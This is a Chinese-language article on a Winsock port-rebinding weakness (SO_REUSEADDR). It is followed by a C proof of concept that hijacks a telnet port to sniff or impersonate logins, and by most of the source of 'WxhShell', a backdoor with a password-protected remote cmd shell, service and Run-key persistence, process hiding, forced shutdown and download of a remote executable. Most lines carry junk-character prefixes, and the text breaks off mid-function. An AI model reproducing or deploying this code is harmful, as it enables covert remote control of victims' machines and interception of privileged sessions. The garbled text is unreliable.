在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
c,4~zN8Ou s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
^ +SE_ -+] 7q+D}+ Xf saddr.sin_family = AF_INET;
1(gs({ 7v*gwBH saddr.sin_addr.s_addr = htonl(INADDR_ANY);
ZeP=}0TGjn =vbG'_[7 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
053bM)qW QWk3y"5n< 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
UDHWl_%L cD0rU8x 这意味着什么?意味着可以进行如下的攻击:
{Sf[<I ,WRm{v0f^ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
U05;qKgkDF vkIIuNdDlx 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
&"^F;z/ Ca|egQv 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
lS4r pbU_ ?H=q!i 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
L}`/v]E"eU /W/e%. 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
jVQy{8{G IMkE~0x4</ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
U?UU]>Q (9Zvr4.f7 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
YNr"]SA@ ; xqt?z n #include
$fmTa02q> #include
}R%H?&P #include
qYC&0`:H #include
6kYluV+j DWORD WINAPI ClientThread(LPVOID lpParam);
vqSpF6F
q int main()
{y9G
" {
z&6_}{2,] WORD wVersionRequested;
8zp?WUb DWORD ret;
$*ff]># WSADATA wsaData;
DZSS BOOL val;
V4[-:k SOCKADDR_IN saddr;
!Y ,7% SOCKADDR_IN scaddr;
x4WCAqi/2 int err;
cUY- SOCKET s;
geme_ SOCKET sc;
eFG/!b<17 int caddsize;
3`bQ0-D; HANDLE mt;
fpR|+`k DWORD tid;
PVI Oe}N wVersionRequested = MAKEWORD( 2, 2 );
/65YHXg, err = WSAStartup( wVersionRequested, &wsaData );
<T}^:2G| if ( err != 0 ) {
6:zPWJB printf("error!WSAStartup failed!\n");
.9bi%=hP return -1;
Y4rxnXGw }
,8e'<y saddr.sin_family = AF_INET;
.PB!1C.}@ o{PG&
}K //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
{<42PJtPY |Xt.[1 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
NiZfaC6V saddr.sin_port = htons(23);
RlOy,/-< if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
2:38CdkYp {
g(@F`W[ printf("error!socket failed!\n");
^Hx}.?1 return -1;
7hHID>,o9% }
0V:H/qu8> val = TRUE;
TxJk.c //SO_REUSEADDR选项就是可以实现端口重绑定的
OG5{oH#K if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
t#^Cem< {
M& ZKc printf("error!setsockopt failed!\n");
tu\XuDky return -1;
y\T$) XGV }
tgF~5
o}? //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
P T;{U<5 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
3"h*L8No //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
~<[+!&<U =-r"@2HBq if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
y!b2;- Dp {
I~&*^q6 | ret=GetLastError();
GHsDZ(d3. printf("error!bind failed!\n");
s<!A<+Sh return -1;
JWNN5#=fQ }
9^a|yyzL listen(s,2);
Jh-yIk while(1)
~su>RolaX {
y\??cjWb] caddsize = sizeof(scaddr);
|/Vq{gxp+ //接受连接请求
i]ZGq7YJ% sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
U1YqyG8 if(sc!=INVALID_SOCKET)
.RroO_H
{
Cj=R\@ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
evyjHc Cx if(mt==NULL)
RN`TUCQL {
:Qa*-)rs printf("Thread Creat Failed!\n");
So ziFI break;
G<C D4:V }
fEBi'Ad }
%r^tZ ;;l CloseHandle(mt);
.\oz }
Ic'D#m closesocket(s);
G#%Sokkb' WSACleanup();
C?H~L return 0;
TCp9C1Q4 }
\l!+l DWORD WINAPI ClientThread(LPVOID lpParam)
=F\Xt " {
TzKM~a# SOCKET ss = (SOCKET)lpParam;
&& ]ix3 SOCKET sc;
HM% +Y47a unsigned char buf[4096];
U^_\V BAk SOCKADDR_IN saddr;
%Xc,l Y1? long num;
:W)lt28_ DWORD val;
I bD
u+~) DWORD ret;
tR!C8:u //如果是隐藏端口应用的话,可以在此处加一些判断
"]eB2k_> //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
kXL0 saddr.sin_family = AF_INET;
U6-47m0% saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Mi.#x_ saddr.sin_port = htons(23);
;`
L%^WZ;- if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
0Z2XVq~T$ {
ep8UWxB5 printf("error!socket failed!\n");
o33t~@ RX return -1;
w[GEm,ZC }
CbZ;gjgY* val = 100;
|eRE'Wd0 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
zfop-qDOc {
,u}wW*?,sT ret = GetLastError();
!$NK7- return -1;
y(DT^>0 }
2*sTU if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
&<><4MQ {
Z`kVyuQ ret = GetLastError();
oaj.5hM return -1;
X+Sqw5rH }
(VO'Kd if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Ar)EbGId {
d./R;Z- I{ printf("error!socket connect failed!\n");
jGouwta closesocket(sc);
~C{:G;Iy0 closesocket(ss);
VP!4Nob return -1;
S:z|"u:+ }
yV`Tw"p while(1)
S/ oD` {
,x\qYz+7| //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
%vO(.A+ //如果是嗅探内容的话,可以再此处进行内容分析和记录
*$O5.`] //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
;8<HB1 &, num = recv(ss,buf,4096,0);
oLkzLJ if(num>0)
(c0L@8L send(sc,buf,num,0);
1V]ws}XW else if(num==0)
P<>NV4 break;
Gd|kAC
g num = recv(sc,buf,4096,0);
e;v"d!H/ if(num>0)
U`[viH>K send(ss,buf,num,0);
_p"u~j~%- else if(num==0)
U?dad}7 break;
`Hw][qy# }
G+fo'ThG closesocket(ss);
g(zeOS]q} closesocket(sc);
yf*'=q return 0 ;
^W sgAyCB }
-\p&18K# Fah6
&a ]Sj;\Iz ==========================================================
kB?/_a`] vw>(JCR 下边附上一个代码,,WXhSHELL
ktPM66`b .RmFYV0, ==========================================================
ekY)?$v3 K bQXH!J #include "stdafx.h"
.(/HU Qn aA$\iFYA #include <stdio.h>
,|z@Dy #include <string.h>
8Vz!zYl #include <windows.h>
@_t=0Rc #include <winsock2.h>
n;Mk\*Cg #include <winsvc.h>
E!ZLVR.K #include <urlmon.h>
X>
98` ?Sh"%x #pragma comment (lib, "Ws2_32.lib")
)o:sDj`b] #pragma comment (lib, "urlmon.lib")
BEax[=&W \s[L=^! #define MAX_USER 100 // 最大客户端连接数
r<kgYU` #define BUF_SOCK 200 // sock buffer
LL);Ym9d #define KEY_BUFF 255 // 输入 buffer
lV:feX ]i075bO/ #define REBOOT 0 // 重启
6|lsG6uf #define SHUTDOWN 1 // 关机
v5@4|u3ds 0Sk~m4fj( #define DEF_PORT 5000 // 监听端口
X9PbU1o; )a0l:jEOc #define REG_LEN 16 // 注册表键长度
;HAvor=? #define SVC_LEN 80 // NT服务名长度
r]-n, [f\Jcjc // 从dll定义API
(gYW iz typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
PZru:.Mh typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
ogSDV typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
h<M1q1) typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
{k=3OIp f"gYXaVF+ // wxhshell配置信息
Z79 6;qk struct WSCFG {
_'mC*7+ int ws_port; // 监听端口
"c} en[ char ws_passstr[REG_LEN]; // 口令
..h@QQ int ws_autoins; // 安装标记, 1=yes 0=no
q.R(>ZcV char ws_regname[REG_LEN]; // 注册表键名
(`slC~" char ws_svcname[REG_LEN]; // 服务名
=RXeN+
&R char ws_svcdisp[SVC_LEN]; // 服务显示名
Id^q!4Th9 char ws_svcdesc[SVC_LEN]; // 服务描述信息
IAzFwlO9 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
p2(ha3PW int ws_downexe; // 下载执行标记, 1=yes 0=no
fJ\?+, char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
NRG06M char ws_filenam[SVC_LEN]; // 下载后保存的文件名
L8n?F#q @r[SqGa: };
UhDf6A`] (;=|2N>7 // default Wxhshell configuration
;F-
mt( Y struct WSCFG wscfg={DEF_PORT,
IR]5,K^l "xuhuanlingzhe",
OLt0Q.{ 1,
@f"[*7Q`/ "Wxhshell",
BPkL3Ev1V "Wxhshell",
b&@]f2/ "WxhShell Service",
U/PNEGuQ "Wrsky Windows CmdShell Service",
%CYo,
e "Please Input Your Password: ",
pRh9+1EM; 1,
o"0~ "
http://www.wrsky.com/wxhshell.exe",
/2d>nj "Wxhshell.exe"
1P"{TMd? };
sqpo5~ } D!tB // 消息定义模块
.fqy[qrM char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
7bbFUUUG" char *msg_ws_prompt="\n\r? for help\n\r#>";
HCrQ+r{g char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
9;I%Dv char *msg_ws_ext="\n\rExit.";
Zgp9Uu}" char *msg_ws_end="\n\rQuit.";
a_/4 ^+ char *msg_ws_boot="\n\rReboot...";
UW} @oP$r char *msg_ws_poff="\n\rShutdown...";
A@_>9; char *msg_ws_down="\n\rSave to ";
"0nsY E <sm"3qs"_ char *msg_ws_err="\n\rErr!";
49>b]f,Vc char *msg_ws_ok="\n\rOK!";
8EkzSe <z%**gP~G char ExeFile[MAX_PATH];
raOuD3 int nUser = 0;
At[Q0'jkc HANDLE handles[MAX_USER];
6ERMn"[_w int OsIsNt;
#wT6IU1 xx1l Ecj SERVICE_STATUS serviceStatus;
&QD)1b[U SERVICE_STATUS_HANDLE hServiceStatusHandle;
LHx ")H?, 6q'Q?Uw^ // 函数声明
,6MJW#~] int Install(void);
|xZu?)M4 int Uninstall(void);
zJ(DO>,p& int DownloadFile(char *sURL, SOCKET wsh);
"
wT?$E int Boot(int flag);
R=a4zVQ void HideProc(void);
vy5Fw&?" int GetOsVer(void);
!^y;|9?O int Wxhshell(SOCKET wsl);
OAiW8BAe void TalkWithClient(void *cs);
[O ^/"Qk int CmdShell(SOCKET sock);
T=~d.&J int StartFromService(void);
/N%i6t<xU int StartWxhshell(LPSTR lpCmdLine);
3O4lGe#u Kv!:2br VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
;p~!('{P VOID WINAPI NTServiceHandler( DWORD fdwControl );
ZZ{c %U}6(~
// 数据结构和表定义
jK/FzD0- SERVICE_TABLE_ENTRY DispatchTable[] =
x
~)~v?>T {
stfniV {wscfg.ws_svcname, NTServiceMain},
ng|^Zm% {NULL, NULL}
@8`I!fZ };
ORP<?SG55u \reVA$M[ // 自我安装
tboQn~&4 int Install(void)
XRkUv>Yk {
><IWF#kUA char svExeFile[MAX_PATH];
IEm~^D#<= HKEY key;
`Rq|*:LV strcpy(svExeFile,ExeFile);
"XV@OjrE (O(TFE5^ // 如果是win9x系统,修改注册表设为自启动
~.G$0IJY if(!OsIsNt) {
^{IZpT3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
H[s+.&^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
#mUQ@X@K RegCloseKey(key);
>Q(\vl@N= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
5Hj/7~ = RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
.H M3s RegCloseKey(key);
E(6P%(yt8 return 0;
R#ZJLT }
Sn'!Nq> }
Z@x& }
GK,{$SC+= else {
PX^k; 3 ;F // 如果是NT以上系统,安装为系统服务
F[O147&C SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
UE5,Ml~X if (schSCManager!=0)
";&PtLe {
_~CJitR3 SC_HANDLE schService = CreateService
(ot56`,k (
(t&`m[>K schSCManager,
gn/]1NNfR wscfg.ws_svcname,
?&,6Y'" wscfg.ws_svcdisp,
SfPQ;s' SERVICE_ALL_ACCESS,
3k>#z%// SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
!wd
wo0 SERVICE_AUTO_START,
'^WR5P<8c SERVICE_ERROR_NORMAL,
(t5y$bc svExeFile,
5QXU"kWH NULL,
}oG6XI9 NULL,
JBw2#ry NULL,
uA
=%EEZ NULL,
lU=VCuW! NULL
Jpp-3i.F# );
'>1M~B if (schService!=0)
D2D+S {
D?S|]]Y!q CloseServiceHandle(schService);
:+QNN< CloseServiceHandle(schSCManager);
[ywF!#'){ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Hr}"g@ < strcat(svExeFile,wscfg.ws_svcname);
B [YyA if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
WwnBe"7M RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
*]<= 04v]R RegCloseKey(key);
O"TVxP: return 0;
S=V }
OPq|4xu }
&Q"vXs6Gt CloseServiceHandle(schSCManager);
Brs} }
bvZD@F`2 }
3;}YW^oXq q3/4l%"X return 1;
u&o4?]6 }
G.XxlI} a(O@E%|u // 自我卸载
x~Z7p)D_< int Uninstall(void)
HES$. a {
=&"pG`x HKEY key;
O{byMV{Ou 1#"wfiW if(!OsIsNt) {
B[8RBTsA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
8R\6hYJ%F RegDeleteValue(key,wscfg.ws_regname);
~MB)}!S: RegCloseKey(key);
/#:*hn if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
]x8Y]wAU&{ RegDeleteValue(key,wscfg.ws_regname);
}lPWA/ RegCloseKey(key);
#<&@-D8 return 0;
xZ2 1iQeN }
}2BNy9q@ }
d@*dbECG }
>zJk G9a else {
yCkWuU9 B$JPE7h@[P SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
9dszn^]T if (schSCManager!=0)
mqJD+ K {
Dqwd=$2% SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
'#j6ZC/? if (schService!=0)
8aRmHy"9l {
Bw`? zd\* if(DeleteService(schService)!=0) {
^_G#JJ\@$ CloseServiceHandle(schService);
n 78!]O CloseServiceHandle(schSCManager);
\?e2qu/ C return 0;
*Z.{1 }
f]Aa$\@b CloseServiceHandle(schService);
(qc<'$o }
oliVaavj CloseServiceHandle(schSCManager);
13 JG[,w }
v\!Cq+lFML }
Edh9=sxL d9e~><bPJ return 1;
j/T@-7^0 }
1+M
!EW |yOIC,5[JW // 从指定url下载文件
:|I"Em3R int DownloadFile(char *sURL, SOCKET wsh)
y}U'8*, {
3~WI3ZIR HRESULT hr;
@*op5qVw char seps[]= "/";
A9DFZZ0 char *token;
at*DYZBjDB char *file;
+dq2}gM char myURL[MAX_PATH];
wp~KrUlR char myFILE[MAX_PATH];
T72Z<h|< Avljrds+7 strcpy(myURL,sURL);
zKYN5|17 token=strtok(myURL,seps);
h=YTgJ while(token!=NULL)
<R2SV=]Sq# {
i+I.>L/S file=token;
}L{GwiDMDl token=strtok(NULL,seps);
l_
x jsu }
1dp8'f5^ Z$Qwn GetCurrentDirectory(MAX_PATH,myFILE);
(l2n%LL]* strcat(myFILE, "\\");
\:n<&<aVSr strcat(myFILE, file);
ZS_
z send(wsh,myFILE,strlen(myFILE),0);
/!"sPtIh send(wsh,"...",3,0);
yQu/({D hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
98zJ?NaD& if(hr==S_OK)
UNrO$aX!1' return 0;
ph2
_P[S' else
)r*F.m{&: return 1;
|N^8zo : ;uZq_^?:9& }
%_5?/H@%3z y?}<SnjP: // 系统电源模块
a)+*Gf7? int Boot(int flag)
),
VF] {
9a1R"%Z HANDLE hToken;
\)MzUOZn TOKEN_PRIVILEGES tkp;
KUq(&H7 YO@~y*, if(OsIsNt) {
}b<w \9AF OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
dt<P6pK- LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
=t}m tkp.PrivilegeCount = 1;
7Z}T!HFMr tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
yWH!v]S AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Fb{HiU9<! if(flag==REBOOT) {
a(`"qS if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
gd]k3XN$f return 0;
F A%BzU5^ }
v)zxQuH]^ else {
q(#,X~0 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
%wJ>V-\e return 0;
$ O;a~/T }
g</Mk^CE }
O `>u70 else {
X4bZ4U* if(flag==REBOOT) {
K1-3!G if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
lb}:!Y return 0;
`7V'A }
RS{E| else {
6* tky; if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
BUBtK-n~"3 return 0;
9J}^{AA }
*>lXCx }
8tT/w5 Qz<i{r-z return 1;
]6WP;.[ }
jyRz53 TPi{c_
] // win9x进程隐藏模块
-}>H3hr void HideProc(void)
( d8rfet {
cw~-%%/ ]vCs9* |B HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Oh7wyQiV if ( hKernel != NULL )
:-+j,G9t {
.7Itbp6=R pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
qi1#s, ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
X'7MW?
q@ FreeLibrary(hKernel);
q:,ck@-4 }
P`n"E8"ab< 55Ye7P-d return;
-wnBdL }
PW*[(VX qD}O_<_1ym // 获取操作系统版本
P[P]oT.N
int GetOsVer(void)
AT"!Ys| {
1z8fhE iiE OSVERSIONINFO winfo;
@l~MY*hp winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
A^7}:[s20 GetVersionEx(&winfo);
:rN5HOg^9 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
!$,e)89 return 1;
*,XT;h$'> else
HwBJUr91] return 0;
XpP}(A@G }
F:G
Vysy |OBZSk1jp // 客户端句柄模块
<d3a int Wxhshell(SOCKET wsl)
"A}2iI {
pxQh;w SOCKET wsh;
>6z7.d struct sockaddr_in client;
O6\t_. DWORD myID;
1F[W~@jW ZX40-6#O while(nUser<MAX_USER)
aw1f;&K4 {
n_t.l<V int nSize=sizeof(client);
SKSI\]Cc wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
4AN(4"$N if(wsh==INVALID_SOCKET) return 1;
ek0,@Vg9 ']>/$[! handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
xbze{9n" if(handles[nUser]==0)
:h<QM$P< closesocket(wsh);
f_r4*#&v else
(0S;eM& nUser++;
pRh)DM#9 }
lUM-~ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
I oC}0C7 /h K/t; return 0;
iaQ3mk# }
2NWQiSz R-BN}ZS // 关闭 socket
m)xz_Plc void CloseIt(SOCKET wsh)
!;&{Q^} {
MZ<BCRB closesocket(wsh);
(L7%V ! nUser--;
+C`zI~8 ExitThread(0);
R"{oj]d;$F }
,) 3Eog\- 0d #jiG // 客户端请求句柄
e\H1IR3 void TalkWithClient(void *cs)
YR0.m%U, {
x`zE#sD axiP~t2 SOCKET wsh=(SOCKET)cs;
jsIT{a*] char pwd[SVC_LEN];
SHUn<+/e char cmd[KEY_BUFF];
jRSY`MU}t+ char chr[1];
JO|xX<#: int i,j;
%`^{Hh` sj% \lq while (nUser < MAX_USER) {
hXP'NS`iv o<i\1<eI if(wscfg.ws_passstr) {
E>x,$w<? if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
&v&e-|r8; //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
"I^pb.3 //ZeroMemory(pwd,KEY_BUFF);
"I&,':O+ i=0;
PQ4)kVT while(i<SVC_LEN) {
\t' ]Lf bc*CP0t| // 设置超时
#TG.weTC fd_set FdRead;
E9PD1ADR struct timeval TimeOut;
+dF/$+t FD_ZERO(&FdRead);
G297)MFF FD_SET(wsh,&FdRead);
C_V5.6T! TimeOut.tv_sec=8;
PRyzUG& TimeOut.tv_usec=0;
xSZ+6R| int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
?H(']3X5@ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
=sh]H$ d<afO?" if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
ynG@/S6)K pwd
=chr[0]; Mp`i@pm+
if(chr[0]==0xd || chr[0]==0xa) { [[vb w)u
pwd=0; fk?(mxx"
break; pwr]lV$w
} 5s=L5]]r_j
i++; s%S; 9T
} 'jd fUB
C;oT0(
// 如果是非法用户,关闭 socket 'n4
iW
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); g.eMGwonTJ
} qZ DP-
dp#'~[ j
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Lsz)\yIPj
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Jnf@u
n*vhCeL
while(1) { Ox}a\B8
dpI! {'"M
ZeroMemory(cmd,KEY_BUFF); SW*Yu{
}Jk=ZBVjT7
// 自动支持客户端 telnet标准 {N 0i
3e
s
j=0; Vh5Z'4N
while(j<KEY_BUFF) { B/ACU
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E3,Nc`'m9
cmd[j]=chr[0]; f|-%.,
if(chr[0]==0xa || chr[0]==0xd) { uUI@!)@2
cmd[j]=0; E|hW{ oX3
break; ""u>5f
} kJG0X%+w
j++; h(3ko
An
} D;WQNlTU
\ q=Bbfzv
// 下载文件 G7d)X^q!xS
if(strstr(cmd,"http://")) { b;Uqyc
send(wsh,msg_ws_down,strlen(msg_ws_down),0); +C){&/=#
if(DownloadFile(cmd,wsh)) u(Y?2R
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y SD|#0
else ''~#tK
f
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L&h90Az1W
} /yO|Q{C}M8
else { \N"=qw^ t
FW--|X]8
switch(cmd[0]) { +'QE-#%{=
^%~ux0%^T
// 帮助 *HXx;:
case '?': { x*2I]4
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Z^SF $+UN
break; !_#2$J*s^D
} M|uWSG
// 安装 /$?7L(
case 'i': { -/ h'uG
if(Install()) !Xf7RT
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?PST.+l
else eIY![..J/N
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h!h<!xaclW
break; |\_d^U&`
} 55]E<2't
// 卸载 %_%/ym
case 'r': { UCF'%R
if(Uninstall()) z]O,Vqpl?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); QpC,komLJ
else .cA'6J"Bm\
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;E]^7T
break; GtSvb6UNn
} >xJh!w<pB
// 显示 wxhshell 所在路径 w,v~
case 'p': { etkKVr;Kv
char svExeFile[MAX_PATH]; +1Ua`3dWN_
strcpy(svExeFile,"\n\r"); pX v@QD#!
strcat(svExeFile,ExeFile); t
(>}
send(wsh,svExeFile,strlen(svExeFile),0); 'k(aZ"
break; XDcA&cM}p
} EAi!"NJ
// 重启 tWN hFQ'
case 'b': { Eggdj+
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wEJ) h1=)^
if(Boot(REBOOT)) s`Z'5J;S
send(wsh,msg_ws_err,strlen(msg_ws_err),0); v<c@bDZ>
else { 22gk1'~dO
closesocket(wsh); .S=^)
ExitThread(0); qe"t0w|U?
} 7G<v<&
break; 3'D<'S}[
} $^;b
1bnO
// 关机 /,m!SRJ
case 'd': { 3A>Bnb
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <qpDAz4k
if(Boot(SHUTDOWN)) ap[{`u
send(wsh,msg_ws_err,strlen(msg_ws_err),0); j9G1
_
else { a2tRmil
closesocket(wsh); :`w'}h7m
ExitThread(0); mFdj+ &2\
} eH9Ofhsry
break; /<WK2G
} b ?-VZA:
// 获取shell i1E~ F
case 's': { f R?Xq@c
CmdShell(wsh); N
2\lBi
closesocket(wsh); bO2s'!x
ExitThread(0); ohPCYt
break; ]~H\X":[>
} hwR_<'!
// 退出 p2Fff4nQ
case 'x': {
{j{H@rHuy
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a.O pxd
CloseIt(wsh); ExDv7St1(k
break; !uwZ%Uxz
} jR[3{ Reo
// 离开 :s5wFumD
case 'q': { 4I97<zmrT
send(wsh,msg_ws_end,strlen(msg_ws_end),0); >|S&@<
closesocket(wsh); (+^z9p7/!
WSACleanup(); C%l+<wpXO
exit(1); S[zX@3eZV
break; ?=\&O=_ln
} 5i42o+'
} 71GyMtX
} #-*#? -
^OWA
// 提示信息 '!wI8f
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l#;DO9
} 2iJ)K rw
} c'8pTP%[
c4'k-\JvT
return; f1_b``M
} ?Dr K2;q
Wu!s
// shell模块句柄 !iO%?nW;
int CmdShell(SOCKET sock) 'zg; *)x1/
{ wcI?.
STARTUPINFO si; |\W9$V
ZeroMemory(&si,sizeof(si)); i:coNK)4
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ` ,O#r0m
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; c6@7>PM
PROCESS_INFORMATION ProcessInfo; &eqeQD6
char cmdline[]="cmd"; #S*`7MvM
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?"o7x[
return 0; % >\v6ea
} 6|Qg=4_FHt
sG6ts,={
// 自身启动模式 sBLf(Q,
int StartFromService(void) Mt93YD-2+
{ :~Z-K\
typedef struct yDil
{ d}Y\;'2,
DWORD ExitStatus; ,R~{$QUl
DWORD PebBaseAddress; k)t_U3i
